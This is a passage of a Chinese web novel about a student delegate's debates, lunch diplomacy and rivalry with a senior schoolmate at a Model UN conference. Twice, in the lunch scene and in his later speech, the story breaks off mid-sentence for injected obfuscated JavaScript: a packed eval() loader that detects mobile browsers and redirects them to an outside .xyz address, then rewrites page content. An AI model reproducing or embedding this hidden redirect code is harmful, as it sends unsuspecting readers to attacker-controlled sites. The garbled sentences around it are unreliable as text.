奥兰共和国的代表是个女生,估计是出于紧张的关系,她讲话的速度比顾梓聿要快很多。顾梓聿十分认真去听,却也被大量的吞音给弄迷糊了,她的口音十分难懂,刚听前两句话,顾梓聿简直觉得她在说另一门语言。 他不动声色地悄悄打量了一下周围的代表,不少代表已经开始分心,有的低头翻文件,有的微微发呆。 果然,听不清,就跟不上;跟不上,自然也不会认真听。这就是演讲的残酷现实。 接下来的代表也都一一阐述了自己国家的观点。李知恩听下来,越发觉得,光是表达清晰度这一项,没有一个人能和顾梓聿比。发言内容暂且不论,他的音量语调语速,甚至连断句都断得恰到好处,让大家能够完全地理解他的发言。 这点可真了不起。 六名代表发言结束后,夏浓例行询问:“是否有代表希望动议结束辩论?” 林亦凡抢到了这个机会:“The delegate of India motions to close the debate。” 毕竟,这么多次会不是白参加的。作为一个身经百战的模联老手,林亦凡太懂得在主席团和所有代表面前混个脸熟有多重要了,抢到机会,就等于抢到全场关注。 林亦凡刚才也是六位发言代表其中之一,他支持议题A,再加上如今这次动议,两次发言,林亦凡一下子就成了全场都认识的国家代表。 动议全票通过。显然,大家都希望结束讨论,赶快进入到确定议题的投票中。很快,议题投票结束:?议题A以40票优势,当选本次会议的第一个正式议题。 确定议题后,正式辩论开始。 顾梓聿没觉得气馁。虽然他立场文件写的是关于童军的,但那是出于珀国外交立场的需要。其实从他的本心出发,他更想讨论议题A。而且,他之前准备得很充分,关于“通过教育赋权女性”的立场文件他也写了,因此,他只是淡定地把关于童军的材料先收起来,再从公文包里抽出另一份文件夹,翻开来,整整齐齐地放在面前。 只不过,他明明记得杜若钦说过,这位林亦凡学长在会上是个不爱抢发言、也争不过人家,只埋头写文件的人设。他当时还以为这个人应该很内敛,怎么今天这么活跃? 他斜后方坐着的国家代表亨利苦着一张脸:这场会议是单代表制,一个国家只有一个代表,不像有的会议是双代表制的,两人分工合作,可以一人准备一个议题。他当时赌运气,只准备了B议题,还天真地以为,凭顾梓聿刚才那么精彩的发言,选童军应该是板上钉钉的事了,没想到居然最后投出了议题A? 他摊开本子空白的一页,把自己那份暂时没用的立场文件压在本子下,硬着头皮准备临场听其他代表的发言。正式辩论阶段现场不许用电脑和手机,他也只能晚上再回去补查资料了。 唉,时运不济命途多舛啊。 当然,亨利不会说华纳语,他心里蹦出来的只有一句:“What the fuck ?” 台上,夏浓已经拿起话筒:“请需要发言的代表举国家牌,每位代表有120秒的初始发言时间,可通过动议更改。” 几乎是同时,顾梓聿举起了国家牌,林亦凡、李知恩,还有一众他认识或不认识的代表也纷纷举起了自己的国家牌,会场一时间举牌如林。 夏浓视线扫过举牌人群,随机点出国家名。旁边的安东尼奥飞快地在电脑上输入,国家名字便即时打在大屏幕上,夏浓点名的顺序即自动变成代表发言的顺序,而被点到的代表则一个个地放下国家牌,等待发言。 亨利惊讶地看着顾梓聿再次举起了国家牌:明明刚才发言时,这位代表准备的是童军议题吧?怎么另一个议题也准备得这么齐全?嗯,他敏锐地意识到这位比自己靠谱,近水楼台先得月啊!他赶快写了张意向条,干脆利落地在下面别上自己的名片: “TO 珀利尼西亚代表:我国在’通过教育赋权女性’议题上与贵国立场一致,盼会后详谈。 FROM 阿勒芒德联邦代表。” 顾梓聿低头接过传过来的纸条,端详着印着“Henry Ge”的花体字名片,一下子没反应过来:怎么这么快,我还没发言就收小弟了? 发言名单已经关闭,第一位代表开始发言,也许是因为紧张,对方语速稍快,观点也有些散乱。 顾梓聿听得专注,在笔记本上写下几个关键词,同时在旁边标出逻辑漏洞:论证跳跃。当下一个代表提到针对女性教育的国际合作倡议成功案例时,他迅速记下,想着晚点可以在自由磋商时深入讨论。而当听到有代表援引数据却来源模糊时,他在笔记旁飞快地画了一个小小的问号圈。 一边听,一边分析,一边布局。顾梓聿的手指间,黑色水性笔灵巧地上下翻飞,带着一点无意识的小炫技。 他浑身的热血都沸腾起来了:这才是战场,靠准备、观察、判断、调整,一寸寸拿下主动权。 58.正式辩论 两个半小时过去,场内气氛隐隐浮躁。 直到发言名单进行过半,终于轮到顾梓聿发言。 顾梓聿起身,左手自然按住桌边那份被细致标记过的立场文件,右手轻轻抚平西装下摆。第二次发言,他心态镇定得近乎冷静,仿佛这一刻早已在心中演练了千遍。 “Thank you, Madam Chair.” 他环顾会场一圈,目光沉稳,既自信,又不咄咄逼人。他开口时,声量微微提高,确保即便是最边角的代表也能听清。 “珀利尼西亚是一个以农业为主要经济支柱的发展中国家,工业化程度低,社会传统深厚而顽固。长期以来,女性在社会、经济、政治生活中被系统性边缘化。传统婚姻制度下,一夫多妻与童婚现象普遍存在,导致女性受教育率低,经济独立性差,社会参与度极低。” 他顿了顿,顺势引出本国政府的最新表态: “在今年的国情咨文中,珀国总统科尔曼曾指出:’我们无法期待一个半数人口被锁在家庭内部的国家,能够走向真正的繁荣’。女性的教育权,不仅是公平正义的体现,更关乎珀利尼西亚的未来。” 紧接着,他迅速把重心转到实质政策和实际行动: “因此,珀国政府坚定支持‘通过教育赋权女性’的国际倡议。今年四月,我们通过了《女性基本教育保障条例》,首次在法律上禁止强迫辍学和童婚行为,并设立专项资金支持女童教育。” 他微微偏头扫了一眼主席台方向,确认时间仍然充裕,然后继续坦然陈述本国困境: “然而,我们也必须承认,改革之路并不平坦,珀国在基础设施建设与教育资源供给上仍存在巨大缺口。财政预算捉襟见肘,师资、教材、交通条件仍极为不足。我们清醒地认识到,单靠国内努力难以彻底改变现状。” 顾梓聿声音微微上扬,列出数据,打出一张“民意支持”牌: “尽管挑战重重,自条例实施以来,童婚率在试点地区下降了7%,女童初中入学率提高了15%。全国最新民意调查显示,近62%的受访者支持’扩大女性受教育权’。这说明,变革已在萌芽,珀利尼西亚人民正逐渐认识到教育对女性乃至整个国家的重要意义。” “珀国坚信,唯有女性真正掌握知识与技能,国家才能走向可持续发展。我们期待与国际社会携手合作,共同推动这一关乎未来与公平的事业。” 说罢,他微微颔首,稳稳落座。 同上次一样,他的发言既符合代表国家的立场,又有煽动力,以至于他刚坐下,桌上意向条便纷至沓来。他收到了二三十张来自不同国家的意向条,有地缘联盟国家分享意见、表达支持的,也有一些发达国家愿意合作的。 手中的这一张意向条来自莱蒙国代表,一个扎着金色马尾辫的女孩。顾梓聿扫了一眼,字迹清秀: “TO 珀利尼西亚代表:贵国发言令人印象深刻。我方在本议题中亦高度重视乡村与少数族裔女性的教育问题,愿与贵国在接下来的决议草案撰写阶段进行合作。 FROM 莱蒙国代表艾琳·卡斯特罗。” 顾梓聿挑了挑眉,几乎不假思索地在意向条上回了一行字,字迹流畅整洁: “非常感谢莱蒙国代表。期待合作。” 写完,他轻轻一折,让工作人员递了回去。 顾梓聿一心二用,一边听着发言,一边给手里的意向条粗粗地做了一个分类,用风格化的语言做了简短礼貌的回复,时不时还瞅一眼主席团,看看台上坐着的大佬们对如今的会议进程是怎样一个态度,在最短时间内完成了“搭线”,悄然收拢了最初的小范围盟友。 夏浓在主席台上,翻着笔记本,在每个代表名字旁边打着简短的符号。 在“Polynesia”名字旁,她写下了两个字母:”P+”。代表 Presence Positive——存在感极高,表现突出。 周围的气氛也在变化。 意向条如雪花一样,飞到各位代表的桌上,又有新的雪花落在顾梓聿的桌上,他打开一看,大部分内容是约他午饭时间“聊聊”。 早上的正式辩论结束了,夏浓刚说完“祝大家用餐愉快”,场内就像炸开了锅。顾梓聿正收拾着文件,已经有国家代表鱼贯而来,迫不及待地要和他交流了。 “你好,珀利尼西亚的代表,我是尼森公国的代表,这位是 J 国的代表,这位是 R 国的…” 一连串名字接连报上来。 顾梓聿微笑应对,眼神温和,动作得体,心里却是有苦难言。 会期紧凑,在会场以外,任何时间、场合都可以见到国家代表抓紧时间进行讨论和游说,这其中又以用餐时间最为重要。所谓“饭局外交”,指的就是利用共餐的仪式感,迅速拉近彼此距离,陌生人也就自然而然地变成了熟悉的同伴。 饭桌是一个称职的中介,它提供了一种空间的模糊和超越黑白的诠释。一顿饭的功夫,大家基本上都在聊题外话,看起来是在浪费时间,但这时间,就是维持人际关系间的相互投入,很可能在最终投票的紧要关头加上点小小的砝码。即使最终没能成为一个利益集团,相互之间关照一下,也是有好处的。 但说实话,顾梓聿十分厌恶这种方式。他向来喜欢安安静静地享用食物,这是他用来放空大脑的时间,神圣不可侵犯。更不用说他那个该死的脆弱的胃,时常跑出来骚扰他一下。曾经他试过边吃饭边刷题或看书,最后的结果都是消化不良胃酸反流,一整个晚上都难受的死去活来。 而且,他天性就不热衷社交。在一群陌生人中尽快自如地打开局面,他虽然能做到、还能做的游刃有余,但这不代表他喜欢做这些事。 但他还是给出了一个恰当地、符合他人设的微笑,从善如流,环视身边,顺便邀请上了一旁的亨利,亨利又叫上了自己的朋友,一群人浩浩荡荡地就往酒店外走去。 顾梓聿提议去酒店旁的一家 Homemade 汉堡店用餐,理由是“上餐快,加上桌子又大,方便讨论”。亨利在一旁助攻,说起那家店可以自由选择夹在汉堡里的食材,薯条酥脆美味,配上店里自制的酱汁简直是好吃的不得了。 大家一听,也都前呼后拥地往那家汉堡店进发。 其实吃什么真的不重要,不是说顾梓聿不挑食,只是说在这种场合下,他吃什么估计都是味如嚼蜡。但去哪里吃饭,这个主动权必须抓在自己手里。 让大家接受他的提议去汉堡店用餐,这是他“饭局外交”的第一步。从现在开始,他会让大家在潜意识里慢慢养成习惯,形成思维定式,他要做的,就是在这个小团体里成为意见领袖,到那时,不论是讨论立场、起草文件,还是关键的最终表决,他都能在最小阻力下推动自己的目标。 其实这也不难,毕竟这些人主动来找自己,本身就已经在某种程度上,认可了他。 这一步,他势在必得。 一行人浩浩荡荡地进了汉堡店,大家都饿得前胸贴后背,赶快冲到点餐台看着菜单下单。 顾梓聿落在后面,看着海报上大大的广告词,“ Build your own Burger, the one and the only !”(做你自己的汉堡,独一无二的!),正在考虑自己要选什么呢,牛肉饼、车达奶酪、生菜,嗯,炒洋葱不行,吃了下午还怎么和人说话呢。 这时,他听到亨利低声嘟哝了一句:“他们家果然有自制的酱汁,诶等等,这都什么玩意? ‘苹果胡萝卜辣椒酱’? ‘鸡肉甜威士忌酱’?这个是, ‘薄荷蛋黄酱’??” 顾梓聿好奇地看向亨利,随口问了一句:“你不是说他们家自制的酱汁好吃的不得了?这里每一款看起来都很奇怪啊,你推荐哪一种?” 亨利耸耸肩:“我也没尝过,你看着选呗?我估计就选美乃滋或者黄芥末酱吧,我口味比较传统。” “你没来过?”听着亨利这话外之意,顾梓聿惊奇地看向他,“刚才听你说的这话,我还以为你吃过呢,你不是说这里薯条好吃?汉堡里的食材还可以自行选择…” “哈哈,”亨利左右看了一眼低声道,“就开在这后湾寸土寸金的地方,要是连汉堡店里最基本的炸薯条都不好吃还能开下去吗?再说了,你都说了这是家 Homemade 汉堡店,店里肯定会有 ‘自制酱汁’,但我本来以为只是那种自制的蛋黄酱或者沙拉酱而已,我可没想到会是这种奇怪的东西在等着我。” “至于食材自选嘛,正常情况下在这种汉堡店,你点餐的时候是可以要求添减某些食材的,只是我没有想到我居然连这个也猜中了。”亨利朝顾梓聿挤眉弄眼地,似乎很是得意自己帮他把众人“哄骗”到这里来。 而这样做的好处也很明显,果然,在接下来边吃边讨论中,因为刚才那一幕,大家潜意识里认为他和顾梓聿是一起的,亨利成为了除顾梓聿之外的第二谈话中心。没有人意识到,这个亨利,其实和他们一样,也才刚认识顾梓聿。 汉堡的味道的确不错,大家边吃边聊,酱汁的奇怪口味一开始引起了一点吐槽和笑声,除此之外,气氛热络而松弛,像是一群老朋友聚餐。但饭桌外交并不比在会场上正正经经地磋商轻松,会场内外的差别就好比电影拍摄和真人秀,会场之外,大家真正接触起来,比起会场上那两分钟精心准备过的发言时间,更能看出彼此的立场和水平。 顾梓聿一边专注倾听,有一搭没一搭地回应着,另一边心里飞快分类:A 国代表看起来立场软,容易受外界影响;S 国代表明着套话,对联合立场感兴趣但不轻易承诺;R 国代表本来说话就带着点口音,可更不妙的是,估计是因为讨论的“妇女权利”确实很戳这位代表的点,她的情绪激动起来。顾梓聿听着那快要破音的嗓音,直觉得脑子被炸得乱哄哄地,却还要努力认真听进去。 这种情绪化的代表在谈判时不太稳定,但情绪化也意味着这是个可以用价值共鸣打动的人。顾梓聿注意到一旁比较安静的 J 国代表,虽然看似沉默寡言,实则几次主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451750|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着 R 国代表说话。 这两个人,是可以同时抓在一起的,若能笼络,对方在某些舆论性话题上的发声或许能成为突破点。 顾梓聿考量着顺势回应,既缓和了 R 国代表的情绪,又不动声色地将 J 国代表拉入了讨论圈。 他打着太极应对着其他国家代表的试探,一边还要去分辨对方说的话里究竟有几分真假,直觉得刚吃下去的汉堡像坚硬冰冷的石头,重重地垂在自己的胃间,难以消化令人难受。 “嗨,你们也在这里吃饭?”一个熟悉的女声响起,把顾梓聿从这种痛苦的破冰社交中拯救出来。他抬头一看,原来是一天没见的田元元,她身边站的正是林亦凡,他两只手分别拿了两个餐盘,看起来却不显得吃力。 “学姐,学长?”顾梓聿站起来先跟他们打了个招呼,再把他俩介绍给在座的一群人。大部分人对林亦凡还是眼熟的,便也纷纷打了个招呼。 “学长,你们要过来坐吗?我们正在讨论关于提案的事。”顾梓聿开口邀请,毕竟林亦凡跟他是同校出身,理应算是天然同盟。 林亦凡笑了笑,还没开口,田元元就抢先说:“诶梓聿,我今天早上去了你们会场哦,你表现的很好啊,简直是会场最闪亮的一颗星!而且你的紧迫性很高嘛,第一场会结束后就懂得结 bloc 拉拢人啦?亦凡都是老人了,还没有你积极。我跟你说,就照这个势头下去,你肯定能拿奖!” 她说得眉飞色舞,语气里满是藏不住的欣赏,而后话锋一转,拍了拍林亦凡的手臂:“你看看你,都是第二年来 HMUN 了,可别被小顾比下去啊。” 顾梓聿敏锐地察觉到林亦凡脸上的笑意微微一滞,那张一贯亲切的脸一瞬间冷了下来。 气氛不对。 顾梓聿心知不好,连忙打岔想缓和场面:“学长,过来坐吧,我帮你拿餐盘?” “没事,”林亦凡仍然是笑着的,只不过语气不咸不淡,“元元,我们还是另找一张桌子吧,嗯?” 他说这话时,目光只落在田元元身上,一个眼神都没给顾梓聿。 “反正你们都是一个会场的,坐一起边吃边聊呗?”田元元没太在意,耸耸肩。 “他们这都吃完了,我俩坐这吃,人家要聊天也不方便,等我们待会吃完了,我再坐过来也是一样的。”林亦凡笑着说,温和却又不容置疑。 既然林亦凡都这么说了,田元元身上又没有开会的压力,她也知道,如果坐一张桌子势必要和这些陌生人用外语聊天,自然是更愿意单独跟林亦凡吃饭。没过一会儿,她那一贯明亮的笑声便从远处飘过来。 顾梓聿默默坐回原位,他察觉到了一种说不清的敌意。 他并不知道,在来这家店的路上,田元元一路上都在和林亦凡谈他——谈他的台风、发言的逻辑,甚至连他穿西装的样子都被反复提起。 田元元最开始在入社面试的时候就对顾梓聿印象很深,后来杜若钦直接给他报名 HMUN 时,田元元还担心她操之过急,如今亲眼见证了他的优秀表现,自然是忍不住在林亦凡面前叽叽喳喳。 女孩像发现了什么闪闪发光的宝藏似的,语调轻快,语速飞快,不知疲倦。而林亦凡只是听着,嘴角微微牵动,一声不吭。 直到田元元那一句“顾梓聿,你肯定能拿奖”,像一根针,精准戳进了林亦凡心底——他自问自己的表现也算得上亮眼,可田元元嘴里一直是“顾梓聿”、“顾梓聿”,从没有提及他分毫。 一直到顾梓聿一群人走出汉堡店时,林亦凡都没有再过来和他们打过招呼。 下午的会议开始时,夏浓作为主席,先是再次解释了一遍所有程序性.事务,提醒所有代表现在会议阶段正处在发言名单的轮转中,接着把早上还没轮完的发言名单继续进行着。顾梓聿一边听着,一边做着笔记找着和他有基本共识的国家。 在这个代表结束发言后,夏浓例行公事地询问道:“有代表提出动议或问题吗?” 林亦凡举起国家牌,提出动议,声音清晰,语气沉稳: “Honorable chairperson, the delegate of India motions to suspend the meeting.” 林亦凡动议暂时中断正式辩论,意味着他试图说服全场代表,从正式辩论阶段过渡到非正式辩论阶段。 顾梓聿心里咯噔一下,他抬起头来,林亦凡想做什么?是进入有主持核心磋商(Moderated Caucus),还是直接进入自由磋商(Unmoderated Caucus)?这个时间点还早得很,多数代表立场都还模糊,贸然中断正式辩论,意义不大。 如果进入有主持核心磋商阶段,代表们还可以更有针对性地进行讨论,而如果现在就进入自由磋商,未免也太早了点,只会浪费时间。 他忽然心有所悟——林亦凡这一动议,未必是为了推进议程,更像是要打乱节奏,这一招,像是朝着他来的。 59.自相鱼肉 林亦凡举起国家牌,提出动议,声音清晰,语气沉稳: “Honorable chairperson, the delegate of India motions to suspend the meeting.” 顾梓聿心里咯噔一下,林亦凡想做什么?暂停正式辩论,进入核心磋商?这不是为了推进议程,更像是在打乱节奏。 果然,林亦凡话锋一转: “我提议,接下来的讨论主题为,对女性参与男性主导的学术和职业领域的结构性和意识形态方面的制约,总时长为一个小时,各代表发言时间为2分钟。” 顾梓聿心一沉。他看向林亦凡,对方神色淡定,仿佛提出动议只是例行公事。 夏浓耐心听完,才打开话筒:“好,银地共和国的代表提出动议。” 她把林亦凡的话完完整整地重复了一遍,才接着道,“关于这个动议,台下有无附议?请附议国举起国家牌,如无附议,此动议自动作废。” 顾梓聿看到几个熟面孔举起了牌子。 夏浓随机点了一个国家:“华纳帝国附议,谢谢!” “现在将进行全体投票表决,若投票数超过简单多数,该动议将即时通过。我再重申一次,一旦银地共和国的代表提出的动议通过,在接下来的一个小时内,各位代表发言的顺序将不按照之前的发言名单进行,请各位代表慎重考虑。” 顾梓聿心下一滞。他意识到了,却不太敢相信:林亦凡这一招,就是对着他来的。 本来这个议题以珀国的立场就很难打,林亦凡还特意限定了“学术和职业领域的结构不平衡”的主题。这一点,对于银地共和国和发达国家是非常好打的,但珀国还处于连初等教育都还没实现性别平等的阶段—— 珀国仍然存在童婚的社会习俗,有过身孕的女性仍被歧视、不能重返学校。在这样的社会背景下,如果没有制度的变革,何谈平等的实现?更何谈女性在学术和职业领域的赋权? 而对于制度的改革,他既无立场,又无空间,越辩,越暴露自己的软肋,他又怎么能在这方面做文章? 更糟糕的是,今天这顿午餐之后,他主导的、本来已经形成雏形的 bloc 国家集团,就要分崩离析了。这个集团里几乎所有国家都是发达国家,他们的天然立场就和林亦凡是一边的。 虽然说在模联会场,一国一票,按理说大家是平等的。但会场毕竟是现实世界的模拟,主办方倾向于把在国际政局中举足轻重的大国分配给他们眼中有经验有能力的人。林亦凡也是因为去年参加过一届 HMUN 且表现不错,才被分到了银地这个GDP近年节节腾飞的人口大国。 午餐时那些人,基本上是这个会场上水平较高、参与度更积极的那一拨人,他想着跟这些人合作,也更可能产出好决议。 没想到,林亦凡这一招就瓦解了他中午的努力。 早知如此,当初他还勉强自己做什么?还不如自己找个地方安安静静地吃个午饭,休息一会儿。 意向条传了过来,是李知恩的: “他这是冲着你来的吗?抱歉啊,但是我得投赞成票了。” 瞧瞧,连李知恩这个外人都看出来了。顾梓聿苦笑着捏住那张纸条,看着场上的代表们纷纷举起国家牌,他无奈地叹了口气:不用数了,光看举起牌的密集程度,他就知道这个动议肯定会被通过了。 林亦凡提出这个动议的时机很巧妙:如果更早一点,那个时候,正式发言名单上还剩下一多半国家代表,还没来得及给出自己国家的立场。如果林亦凡那时提出动议,这些国家代表肯定是不会同意的。 但现在,整个发言名单只剩下十多位代表了,这样小的数量级实在是对投票结果没什么影响。 他拿起笔,“刷刷”写了张意向条给林亦凡,交给了身边的工作人员。 林亦凡正听到夏浓宣布“动议通过”,工作人员给他递了个条子,他打开一看,落款是“顾”,条子里根本没讲究格式,纸上端端正正写了一句话:“学长,你不想拿最佳代表团奖了吗?” 顾梓聿试着求和。 最佳代表团奖是团体奖,候选者是每个学校派出的代表团。顾梓聿的本意是,他们俩出自同一个代表团,没必要内斗内耗,最好还是团结起来,也有更大的几率去拿这个最佳代表团奖。 林亦凡看了一眼,嘴角一挑,慢慢将其折起,夹进笔记本:最佳代表团并不要求团队里每个人都得表现得完美无缺,只要这个团队的整体表现优秀就够了。顾梓聿,没有你,八中只是少了一个人而已。最佳代表团奖,又不是缺你不可。 意向条迟迟没有回来,顾梓聿抿了抿嘴角,心里明白——他们之间,从这一刻起,已经从同盟变成了对手。他大概能猜到林亦凡为什么挑这个头,恐怕是由于中午田元元对他那亲近的态度。但他确实没想到,林亦凡会在会场上针对他,以公报私。 动议通过,发起者林亦凡自然而然成了新发言名单的第一人,顾梓聿看着其他几位学长也纷纷举起国家牌,这一刻,他终于意识到,自己完全是走进了林亦凡布下的埋伏圈啊! 但他不能退。 顾梓聿硬着头皮,也举牌示意要加入发言名单:不管怎样,先打过再说,无论如何也要给自己争取到一个说话的机会。 在非正式辩论中,提出动议的代表及其盟友有先发优势,更能抓住发言机会,来阐述本国家集团的立场和观点。 林亦凡显然早有准备,他清了清嗓子,直接拿起了手边的一沓报告,发言的语速沉稳镇静: “主席女士、各位尊敬的代表,在我们讨论性别赋权之前,我希望大家先思考一个问题——如果我们只是在赋予’部分人’权利,而忽略结构的重塑,那么这个’赋权’其实就是一种新的偏见。” “银地国家代表认为,要想改变目前在学术和职业领域的男女结构不平衡的现状,最重要的是,各国政府需要通过政治手段,来应对社会中存在的负面性别规范和态度。改革教育入学制度远远不够,我们认为,要推动各国建立性别比对机制,对职业晋升路径、学术资助的分配、公共领导层比例进行系统监测。” 几位代表点头,低声与身边人讨论。 “我手里拿着的是本委员会去年编号为 N950 的最新报告,在学术和职业领域,不平等现象处处皆是,比如,担任讲师或教师职位的近 80% 是女性,但负责人则通常为男性。在 30 个被调查的国家中,89% 的中学教师是女性,但校长中女性占比仅为 34%。而学术领域的不平等现象也很突出,工程、信息和通信技术专业的学生中,女生仅占四分之一。有的国家至今仍有相当数量的学术领域禁止向女性开放…” 嚯。顾梓聿感觉自己膝盖中了一枪:这说的不就是珀国吗?去年,珀国大学实施单性别授课的科目数升至新高,目前禁止女性参加的课程已经多达80多门,包括但不限于翻译、企业管理、应用物理、核物理、计算机科学、电机工程等课程。即使是在别国修习了这些学科的女大学生,珀国国内也没有相应的招聘需求,导致她们将面对一毕业就失业的状态。 本来珀国国内的高等教育资源就是非常缺乏的,现在再来了一个这个政策,女性接受高等教育的可能性就更小了。 林亦凡继续道:“如果我们不引入结构性配额、不正视无形壁垒,那么性别平等永远只能是愿景,不会成为现实。” “…制度性性别偏见是通过文化再生产维系的,发达国家关于改善性别结构不平等的经验也适用于发展中国家,对于后者来说,即便处于社会发展初级阶段,也有义务迈出第一步…” 每一句话,听起来都像是在陈述事实,但顾梓聿听得出来,这不是讨论,是伏击。 林亦凡的表述暗含指责,既拷问珀国的立场,也质疑顾梓聿作为代表是否有足够的政治想象力与伦理担当。 顾梓聿边听边记笔记,准备着,如果林亦凡没能用完他那两分钟发言时间,选择开放评论或回答问题的话,他就要问一个能反驳他的问题,给他挑挑刺也好。顾梓聿想到了两个点,可是他低估了林亦凡的丰富经验,人家发言时间掐得刚刚好,正好提前一秒结束,而这剩下的一秒也就忽略不计了。 顾梓聿心里叹了口气,用力两笔把自己刚写的东西划掉,继续往下听其他代表的发言。 “…在华纳帝国,虽然两性比例在参政方面有所改善,但仍然存在着巨大的差距,女性在企业管理层、在立法机构或政府高层占据的席位依然很低…” “…华纳代表认为,性别不平等现象持续妨害着女性发展,并危及整个社会,为了有效通过教育促进女性赋权,华纳帝国倡议各国进行关于性别平等的改革和立法,例如在政府机构和教职名额上,实行定量配给制,男女职工比例应达到1:1,或至少1:2,以利于推进实现性别平等的工作…” “...现在仍有大量的观点支持,认为男孩比女孩更应上大学。若想要成功改变现状,我们必须改变整个社会的思潮,加强对社会舆论的引导...” 顾梓聿看着这位金发碧眼的白人小哥,一句一句地说着“作为华纳代表”、“华纳帝国认为”,作为一个真正的华纳人,怎么说呢?这感觉真是酸爽。 顾梓聿耐心地一个个听下去,呵,听到现在,所有已发言的代表的立场,都和林亦凡是一边的。林亦凡起了个头,几个发达国家代表接连补枪。他们从“政策保障”、“领导力培训”一路讲到“制度改革”、“监督监测”,彼此配合默契,没有留出丝毫给顾梓聿发挥的余地。 这些国家本身经济情况都还乐观,于是就都高举大旗,说要改革立法。顾梓聿闭了闭眼:这不是讨论,这是围猎,这是追着他打啊,简直比痛打落水狗的架势还狠。 到目前为止,性别极度不平等的国家还没有一个发言,像他们这种内忧外患的小国,只要敢改革就自己先死,不改革就被这些人骂死,难啊,真是难啊! 很快就轮到他了。 顾梓聿站起来,喉咙一阵干涩。他清楚,自己这两分钟必须“活下去”。 他第一句话没有急着反驳,而是转向发言席中那些看着他、感同身受的性别极度不平衡的小国代表,用眼神寻求着支持,表达着大家都在同一战线: “首先,珀国感谢银地代表提出的讨论主题。它提醒我们,不能忽视制度与文化的层叠结构。但在考虑教育赋权女性的问题时,不能只从塔尖往下看,也该低头看看地基裂没裂。” 他声音异常清晰,甚至带着一种锋利的克制: “主席女士、各位代表,我来自珀国,我们国家的议会性别比例不到3%,女性识字率不到六成。我们甚至还在为女孩接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455938|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初等教育而辩论。” “在银地、华纳这样的国家中,女性已经在高等教育中取得相对平等的机会,这是值得钦佩的进步。但对于珀国的女性而言,问题不在于她们有没有研究院能上,而是她们能不能完成小学阶段的教育。我们当然希望一步到位,但也必须承认,社会改变不能建立在单一标准之上。发达国家可以谈未来,发展中国家必须先面对现实。” 他沉默一瞬,给自己一个缓冲,继续道: “刚才这些代表提出的观点,珀国代表不敢苟同。我并不是反对结构重塑,而是因为对于大多数仍挣扎在教育边缘的国家来说,’赋权’的起点不是配额,而是生存权与入学权。” 他顿了顿,声音微微扬高:“如果你让一个从没上过小学的女孩去争取大学里的话语权,那不是平等,那是讽刺。” 这番话一出口,会场短暂沉默。这话看似温和,实则暗讽林亦凡等一众代表站在道德制高点居高临下,不具备真正的“跨文化合作”意识。 顾梓聿没有为珀国的劣势辩解,而是换了个角度: “珀国,以及其他发展中国家的情况的确复杂,但我们不是缺乏觉悟,而是步履艰难。我在这里,不代表完美的国家,我代表一个还在努力从灰烬中生长的社会。” “我们恰恰因为太清楚现实之残酷,才比谁都明白改革的重与缓。” “在模联的会场上,我们更应该考虑:是否能提出一个真正包容发展的提案?” 他说得不算激昂,却击中了在场一些发展中国家代表的痛点。一直坐在后排的洛托共和国代表竟然第一个鼓掌,随后有几位小国代表也纷纷点头。李知恩也点点头:看来,顾梓聿察觉到中午的 bloc 已瓦解,于是主动调整立场,转向“小国如何制定可行的性别发展策略”,吸引其他边缘国家认同。 顾梓聿的思路转地飞快,如果思考有声音的话,他的脑子应该正发出高频率的蜂鸣声。他一边说着一边检索着曾看到的有用的线索,突然间有了灵感。 他决定另辟蹊径、跳出囹圄,打他们一个出其不意: “各位代表,珀国代表手里拿的正是本委员会去年编号为 N950 的最新报告。” 听出来玄机的代表们面面相觑:这不就是刚刚林亦凡提到的那一份报告吗? “根据这份报告,性别平等在不同地区间的差距十分显著,如今,仍有近三分之一的国家尚未在初等教育领域实现性别平等;初中教育阶段,有近半数国家的女童接受教育的比率低于男童;仅四分之一国家实现了高中阶段教育内的性别平等。” 这不就是把议题背景重新说了一遍,加了点数据吗?根据前两次的发言,这不像是珀国代表应有的水平啊?有的代表开始疑惑。 “…而这些都与当地国家的经济发展水平呈正相关。” 哦,戏肉来了!李知恩抿唇一笑:她明白顾梓聿在打什么牌了。 “而且,区域战争也是影响因素之一。珀国认为,要提高女性在学术和职业领域的参与率,首先就要解决教育阶段的性别不平等问题。我们对国际社会聚焦女童教育的决定表示欢迎。这份报告还分析了目前在各国实行的推进性别平等的政策,其中,给送女童上学的家庭提供经济上的补贴,是反馈最好的政策。诚然,我们会努力并尽可能地完善我们的社会制度体系,但若要实现真正的改变…” 哈,李知恩忍笑:这是伸手向国际社会要钱来了!不得不说,这招俗,却也俗的有用。 “…鉴于性别不平等现象持续妨害着女性发展,并危及整个社会,为了有效通过教育促进女性赋权,我们谦卑地祈求,本委员会可以要求国际社会及其部分有余力的成员国,向处在困境的国家伸出援手,尤其是那些因为局部区域战争而无法保障女童受到教育的国家。” 有没城府的代表已经“噗嗤”一声笑出来了——顾梓聿引用了华纳代表的话,却完全歪曲了他的意思。会场各处响起零星的掌声,甚至有人轻轻吹了口哨。 跟林亦凡一派的八中的其他几位,已经面露菜色。林亦凡倒是依旧镇定,双手十指交握。 他没想到,顾梓聿不接他的招,不在他摆的棋盘上下棋,而是干脆掀翻了棋盘:你跟我聊体制,我就跟你谈钱。这可谓是戳到了各个发达国家的痛处:出台政策不过是多写几页纸的事,经济援助,那可是白花花的银子,真金白银啊。哪个国家会舍得拱手把自己的财富拿出去补贴别的国家? 